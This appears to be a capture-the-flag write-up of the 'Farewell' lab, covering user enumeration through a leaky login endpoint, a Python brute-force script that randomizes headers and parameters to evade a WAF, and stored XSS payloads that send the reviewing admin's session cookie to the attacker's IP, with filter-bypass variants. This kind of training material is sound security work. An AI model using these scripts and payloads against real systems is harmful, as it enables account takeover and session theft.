Farewell

Use red-teaming techniques to bypass the WAF and obtain admin access to the web application. - by 1337ce

The following post by 0xb0b is licensed under CC BY 4.0


Summary

Summary

In Farewell we compromise a web application protected by a Web Application Firewall through a combination of logic abuse, evasion, and XSS exploitation. Starting from exposed usernames in a public message banner, we enumerate valid accounts through response differences and identify predictable passwords thorugh excessive information disclosure of a password hint field. By crafting a randomized brute-force script that rotates headers, parameters to evade WAF detection, we gain access as deliver11. Within the application, we discover reflected content reviewed by an admin and leverage an obfuscated XSS payload to exfiltrate the admin's session cookie, bypassing both character limits and WAF filtering. Using the stolen session, we hijack the admin account and access the hidden administrative dashboard

Recon

We use rustscan -b 500 -a farewell.thm -- -sC -sV -Pn to enumerate all TCP ports on 10.10.121.40, piping the discovered results into Nmap which runs default NSE scripts -sC, service and version detection -sV, and treats the host as online without ICMP echo -Pn.

A batch size of 500 trades speed for stability, the default 1500 balances both, while much larger sizes increase throughput but risk missed responses and instability.

rustscan -b 500 -a farewell.thm -- -sC -sV -Pn

On the target machine we have two open ports. Port 22 and port 80. Besides that the web server running is an Apache httpd 2.5.58 and the httponly flag is not set we have nothing much yet.

We visit the website and are greeted with a login screen.

In a continuous banner, we see users posting their farewell messages. Using Wappalyzer, we can see that it is a PHP server.

Next, we perform a directory scan using Feroxbuster and find some pages, but nothing interesting so far. The info.php page show the phpinfo page.

feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://farewell.thm' -x php

Access as deliver11

We take a closer look at the login field and try to log in with any user. We get the generic response that the username or password is invalid. At first glance, we could think that a user couldn't be enumerated that way.

But we have some users in the banner.

We note them down for later use:

adam
deliver11
nora

Next, we try to log in with a valid user - in this case adam - and get the message Server hint: Invalid passwwod against the user. This would allow user enumeration.

The challenges tasks us to also log in as admin so we try to use that username, and see that it is a valid one.

We intercept the log in request to dig down deeper. We see that auth.php is called using a POST request for login. Interestingly, this page did not appear in our Feroxbuster scan.

With a valid user - in this case nora - we get a more detailed response than we see on the web page. We also retrieve a password_hint.

We continue with the other users we know of:

User adam:

User admin:

User deliver11:

For the rest of the challenge, we will focus only on deliver11, because his password is the most predictable based on his clue. It's the capital of Japan followed by 4 digits...:

Capital of Japan followed by 4 digits

So we generate a password list as follows:

for i in $(seq -w 0 9999); do echo "Tokyo$i"; done > wordlist.txt

The challenge is about WAF bypass and what this means, as we will now see.

A WAF - Web Application Firewall - is a tool that filters and monitors HTTP traffic to protect web applications from attacks like SQL injection, XSS, and file inclusion or detecting and blocking repeated failed login attempts, rate-limiting suspicious traffic, and identifying automated attack patterns.

If we repeat a log in request via cURL we get blocked. That might be because of the User-Agent set to curl.

curl -X POST http://farewell.thm/auth.php \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data "username=deliver11'&password=Tokyo0000"

If we change the Header to a valid one like Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0 Safari/537.36 we won't receive a 403.

curl -X POST http://farewell.thm/auth.php \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0 Safari/537.36" \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data "username=deliver11'&password=Tokyo0000"

So, we craft a simple brute force script with a valid agent, to brute force the password of deliver11.

To avoid unnecessary waiting if a 403 occurs and we are permanently blocked, the script aborts when a 403 occurs. We are then forced to reset the challenge via http://farewell.thm/status.php and adjust the script accordingly so that our requests are not recognized as harmful by the WAF.

test.py
import requests

URL = "http://farewell.thm/auth.php"
USER = "deliver11"
WORDLIST = "wordlist.txt"

COOKIE = { "PHPSESSID": "q878fdm80po5ies17r8h4a885v" }


def spray():
    with open(WORDLIST) as f:
        passwords = [p.strip() for p in f]

    for password in passwords:

        target = URL  # no random params

        data = {
            "username": USER,
            "password": password
        }

        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0 Safari/537.36",
            "Accept": "*/*",
            "Referer": "http://farewell.thm/",
            "Content-Type": "application/x-www-form-urlencoded",
            "Origin": "http://farewell.thm",
            "Connection": "keep-alive",
        }

        r = requests.post(target, headers=headers, data=data, cookies=COOKIE)

        if r.status_code == 403:
            print("\n[!] HARD BLOCK — STOPPING.")
            return

        if "auth_failed" not in r.text:
            print("\n[+] SUCCESS:", password)
            return


if __name__ == "__main__":
    spray()

We run the script, and get detected. That was not enough.

python test.py

We'll end up eventually with a script like this (everything put together at once)...

In the advanced script we add a random query parameter (?v=xxxx) to every request, creating a unique URL each time and defeating caching or URL-based repetition detection. Furthermore we inject a random noise parameter (z=abcd) into the POST body so that the payload is never identical, trying to disrupt signature-based WAF rules that flag repeated login attempts.

In addition we let the script perform header randomization by shuffling the header order and generating random User-Agent and Referer values. Trying to breaks client-fingerprinting techniques. In addition, we shuffle the password order.

brute.py
import requests
import random
import time
import string

URL = "http://farewell.thm/auth.php"
USER = "deliver11"
WORDLIST = "wordlist.txt"

COOKIE = { "PHPSESSID": "q878fdm80po5ies17r8h4a885v" }

def rand_str(n=5):
    return ''.join(random.choice(string.ascii_letters) for _ in range(n))

def spray():
    with open(WORDLIST) as f:
        passwords = [p.strip() for p in f]

    random.shuffle(passwords)   # IMPORTANT

    for password in passwords:

        # random param to destroy caching patterns
        target = f"{URL}?v={random.randint(1000,9999)}"

        # POST noise key
        data = f"username={USER}&password={password}&z={rand_str(4)}"

        # header set randomization
        base_headers = [
            ("User-Agent", f"Mozilla/5.0 ({rand_str(6)})"),
            ("Accept", "*/*"),
            ("Referer", f"http://farewell.thm/?t={rand_str(3)}"),
            ("Content-Type", "application/x-www-form-urlencoded"),
            ("Origin", "http://farewell.thm"),
            ("Connection", "keep-alive"),
        ]

        random.shuffle(base_headers)
        headers = {k: v for k, v in base_headers}

        r = requests.post(target, headers=headers, data=data, cookies=COOKIE)

#        print(f"[TRY] {USER}:{password} -> {r.status_code}")

        if r.status_code == 403:
            print("\n[!] HARD BLOCK — STOPPING.")
            return

        if "auth_failed" not in r.text:
            print("\n[+] SUCCESS:", password)
            return

#        time.sleep(random.uniform(0.4, 1.4))

if __name__ == "__main__":
    spray()

We run the script and after some time we receive the password of deliver11.

python brute.py

We try to log in and are successful...

... we are greeted it an input mask to write our farewell message.

If we scroll down, we'll find the first flag.

Access as admin

We already know that the messages are reflected on the page, so XSS is a possible attack vector. Furthermore, we also see that the messages are approved. Possibly by the admin. We also know that our Feroxbuster scan did not detect all pages; this may be related to an inactive session. There could therefore also be an admin dashboard, an admin page, or a review page where the admin reviews these messages. This would allow us to steal the admin session cookie if necessary.

We'll try the following:

<img src=x onerror=this.src="http://10.14.90.235/?c="+document.cookie>

But here too, the WAF seems to be active.

If we remove the cookie part it still gets also detected.

<img src=x onerror=this.src="http://10.14.90.235/">

But, the following does not get detected!

<body onload="new Image().src='http://10.14.90.235'">

We also receive a connection back to our web server confirming the review and execution of the payload.

But if we append the cookie bydocument.cookie it gets detected again.

<body onload="new Image().src='http://10.14.90.235?c='+document.cookie;">

We could try t obfuscate the payload by encoding it, but the a message of only 100 characters is allowed. We missed that by 4 characters...

<body onload="eval(atob(bmV3IEltYWdlKCkuc3JjPSdodHRwOi8vMTAuMTQuOTAuMjM1P2M9Jytkb2N1bWVudC5jb29raWU7))">

But we could break down the cookie property like this document['coo'+'kie']. This does not detected by the WAF, has a length of 79 characters and...

<body onload="new Image().src='http://10.14.90.235?c='+document['coo'+'kie'];">

... we are able to retreive the session cookie of the reviewing instance.

Next, we replace the cookie.

We reload the page and are greeted by the app as admin. We are the admin user, but there is no flag.

Recalling the situation with the auth.php page and the feroxbuster result we come to the conclusion that the review dashboard could be something like review.php, admin.php, etc.

We try to reach out to admin.php and find the final flag!

http://farewell.thm/admin.php

Last updated

Was this helpful?